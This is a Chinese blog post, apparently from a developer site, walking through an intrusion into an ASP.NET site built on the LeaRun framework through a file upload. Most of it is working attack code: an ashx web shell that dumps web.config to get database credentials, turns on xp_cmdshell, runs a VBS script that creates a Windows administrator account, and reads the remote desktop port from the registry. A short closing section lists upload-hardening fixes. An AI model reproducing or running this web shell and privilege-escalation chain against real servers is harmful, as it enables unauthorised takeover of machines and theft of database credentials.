zoukankan      html  css  js  c++  java
  • ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

    笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。

        上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。

       还是先讲下流程:

    1、上传代码页面  我上传的是ashx页面。

    2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,

    3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)

    4、开启数据库的xp_cmdshell。

    5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了

    ashx代码文件如下

    /// <summary>
            /// 显示配置文件
            /// </summary>
            /// <param name="context"></param>
            public void ShowWebConfig(HttpContext context)
            {
                context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
            }
            /// <summary>
            /// 写vbs脚本
            /// </summary>
            /// <param name="context"></param>
            public void WriteVbs(HttpContext context)
            {
                System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os) '得到adsi接口,绑定
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    Set od=ob.Create("user","test") '建立用户
    od.SetPassword "1234" '设置密码
    od.SetInfo '保存
    Set of=GetObject(os&"/test",user) '得到用户
    oe.add os&"/freeast" 
    ");
            }
            /// <summary>
            /// 直线数据库
            /// </summary>
            /// <param name="connection"></param>
            /// <param name="sql"></param>
            public void ExecuteSql(string connection, string sql)
            {
                using (SqlConnection con = new SqlConnection(connection))
                {
                    using (SqlCommand commd = new SqlCommand(sql, con))
                    {
                        con.Open();
                        commd.ExecuteNonQuery();
                        con.Close();
                    }
                }
            }
            /// <summary>
            /// 直线数据库并输出表格
            /// </summary>
            /// <param name="context"></param>
            /// <param name="connection"></param>
            /// <param name="sql"></param>
            public void ExecuteSql1(HttpContext context,string connection, string sql)
            {
                System.Data.DataTable table = new System.Data.DataTable();
                using (SqlConnection con = new SqlConnection(connection))
                {
                    using (SqlCommand commd = new SqlCommand(sql, con))
                    {
                        con.Open();
                        using (SqlDataAdapter ad = new SqlDataAdapter(commd))
                        {
                            ad.Fill(table);
                        }
                        con.Close();
                    }
                }
                foreach (System.Data.DataRow row in table.Rows)
                {
                    foreach (System.Data.DataColumn column in table.Columns)
                    {
                        context.Response.Write(row[column]);
                        context.Response.Write("	");
                    }
                    context.Response.Write("
    ");
                }
            }
            /// <summary>
            /// 显示远程桌面端口
            /// </summary>
            /// <param name="context"></param>
            private void ShowPort(HttpContext context)
            {
                context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEMCurrentControlSetControlTerminal ServerWds
    dpwdTds	cp").GetValue("PortNumber").ToString());
            }
            public void ProcessRequest(HttpContext context)
            {
                context.Response.ContentType = "text/plain";
                
                try
                {
                    var connection = context.Request.QueryString["connection"];
                    switch (context.Request.QueryString["method"])
                    {
                        case "1": WriteVbs(context); break;
                        case "2":
                            ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
                            ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
                            break;
                        case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
                            break;
                        case "4": ShowPort(context); break;
                        default:
                            ShowWebConfig(context);
                            break;
                    }
                }
                catch (Exception ex)
                {
                    context.Response.Write(ex.Message);
                }
                context.Response.End();
            }
            public bool IsReusable
            {
                get
                {
                    return false;
                }
            }
    View Code

    這里我们以 "LeaRun.信息化快速开发框架"的在线按钮为例

    上传文件我就不说了,上篇有人在问我怎么显示web.Config的内容,我这里具体贴下代码 其实很简单,File.ReadAllText  web.config文件就可以了

    public void ShowWebConfig(HttpContext context)
            {
                context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
            }

    运行后直线ashx 得到数据库连接,如图

    其次就是创建Windows账户的脚本

    set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os) '得到adsi接口,绑定
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    Set od=ob.Create("user","test") '建立用户
    od.SetPassword "1234" '设置密码
    od.SetInfo '保存
    Set of=GetObject(os&"/test",user) '得到用户
    oe.add os&"/freeast" 
    View Code

    然后开启数据库的xp_cmdshell。

    sp_configure 'show advanced options',1  reconfigure
    
    Go
    
    sp_configure 'xp_cmdshell',1 reconfigure


    在最后执行vbs脚本

    exec master..xp_cmdshell 'cscript 脚本文件目录"'

    运行结果如下:


    好 这说明直线成功了。。。。 也就是服务器用户添加成功了

    现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,

    代码如下:

    /// <summary>
            /// 显示远程桌面端口
            /// </summary>
            /// <param name="context"></param>
            private void ShowPort(HttpContext context)
            {
                context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEMCurrentControlSetControlTerminal ServerWds
    dpwdTds	cp").GetValue("PortNumber").ToString());
            }


    好了 到這里 一切的完成了 ,打开远程桌面连接吧。。

    因为此次公开还没来得及通知  事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了   -.-!!!!

    然后我在来说说补救的方法,我就简单介绍几种了

    1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\WebOa  这个是我网站的跟目录,那么我上传的文件 可以放到 d:FileOA 里面,别人就不能直接访问

    2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)

    3、全部压缩

    。。。。。。。。。。。。。。。。

    好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦  ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!

  • 相关阅读:
    html 复习
    用openrowset连接远程SQL或插入数据
    查询SQL中的text类型字段内容,让其显示完整
    删除CheckBoxList未选中或选中的CheckBox选项
    RSA的加解密过程(转自CSDN,学习用)
    创建与删除SQL约束或字段约束。
    根据DataGrid绑定的列的SortException字段进行排序
    尽量避免IE拦截弹出窗口的代码,与ListBox的双击事件结合。
    比较好看的滚动条样式和按钮样式和文本框样式
    JS控制按钮10秒钟后才能正常使用
  • 原文地址:https://www.cnblogs.com/dotnet-org-cn/p/4921690.html
Copyright © 2011-2022 走看看